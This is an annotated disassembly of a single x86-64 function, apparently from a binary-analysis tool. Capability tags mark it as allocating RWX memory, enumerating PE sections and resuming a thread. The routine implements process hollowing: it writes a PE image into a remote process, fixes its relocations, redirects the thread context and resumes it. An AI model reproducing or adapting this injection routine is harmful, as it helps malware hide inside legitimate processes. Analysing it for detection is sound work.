Function at 0x140001890
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Resume thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x330
mov rax, qword [0x140026040]
xor rax, rsp
mov qword [rsp + 0x328], rax
movsxd r13, dword [rdx + 0x3c]
mov r14, rdx
add r13, rdx
mov dword [rsp + 0x20], 0x40
mov r12, rcx
mov qword [rsp + 0x38], r13
mov rcx, qword [rcx]
xor edx, edx
mov r9d, 0x3000
mov r8d, dword [r13 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140001b4f
mov r9d, dword [r13 + 0x54]
mov ecx, eax
sub ecx, dword [r13 + 0x34]
xor r15d, r15d
mov dword [r13 + 0x34], eax
mov r8, r14
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x320], ecx
mov rcx, qword [r12]
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001b4f
movsxd rbx, dword [r14 + 0x3c]
cmp dword [rbx + r14 + 0xa0], r15d
je 0x140001945
mov rbx, qword [rbx + r14 + 0xa0]
jmp 0x140001948
mov rbx, r15
mov rbp, r15
mov qword [rsp + 0x30], rbx
mov esi, r15d
cmp r15w, word [r13 + 6]
jae 0x140001b4f
mov rdi, r15
movzx edx, word [r13 + 0x14]
add rdx, 0x18
add rdx, rdi
add rdx, r13
mov r10d, dword [rdx + 0xc]
cmp ebx, r10d
jb 0x140001985
mov ecx, dword [rdx + 8]
add ecx, r10d
cmp ebx, ecx
cmovb rbp, rdx
mov r8d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x10]
add r8, r14
mov rcx, qword [r12]
mov rdx, r10
add rdx, qword [rsp + 0x40]
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001b4f
movzx eax, word [r13 + 6]
inc esi
add rdi, 0x28
cmp esi, eax
jl 0x140001961
test rbp, rbp
je 0x140001b4f
xor r8d, r8d
mov ebx, r8d
cmp dword [rsp + 0x34], ebx
jbe 0x140001abf
mov r13d, dword [rsp + 0x320]
mov r9d, 0x1000
nop word [rax + rax]
mov eax, dword [rbp + 0x14]
add rax, r14
mov r15d, ebx
add r15, rax
add ebx, 8
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
test eax, eax
je 0x140001ab0
mov esi, eax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [rbp + 0x14]
add rax, r14
mov ecx, ebx
add ebx, 2
movzx edx, word [rcx + rax]
cmp dx, r9w
jb 0x140001aa6
mov rcx, qword [rsp + 0x40]
and edx, 0xfff
mov edi, dword [r15]
add rcx, rdx
add rdi, rcx
mov dword [rsp + 0x320], r8d
mov rcx, qword [r12]
mov rdx, rdi
mov qword [rsp + 0x20], r8
mov r9d, 4
lea r8, [rsp + 0x320]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rcx, qword [r12]
lea r8, [rsp + 0x320]
add dword [rsp + 0x320], r13d
mov r9d, 4
mov rdx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov r9d, 0x1000
sub rsi, 1
jne 0x140001a20
cmp ebx, dword [rsp + 0x34]
jb 0x1400019f0
mov r13, qword [rsp + 0x38]
xor edx, edx
lea rcx, [rsp + 0x54]
mov r8d, 0x2c8
call fcn.140018800
mov rcx, qword [r12 + 8]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140001b4f
mov edx, dword [rsp + 0xf4]
lea r8, [rsp + 0x40]
mov rcx, qword [r12]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001b4f
mov ecx, dword [r13 + 0x28]
lea rdx, [rsp + 0x50]
add ecx, dword [rsp + 0x40]
mov dword [rsp + 0x100], ecx
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
je 0x140001b4f
mov rcx, qword [r12 + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
jmp 0x140001b51
xor eax, eax
mov rcx, qword [rsp + 0x328]
xor rcx, rsp
call fcn.140002f30
mov rbx, qword [rsp + 0x380]
add rsp, 0x330
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret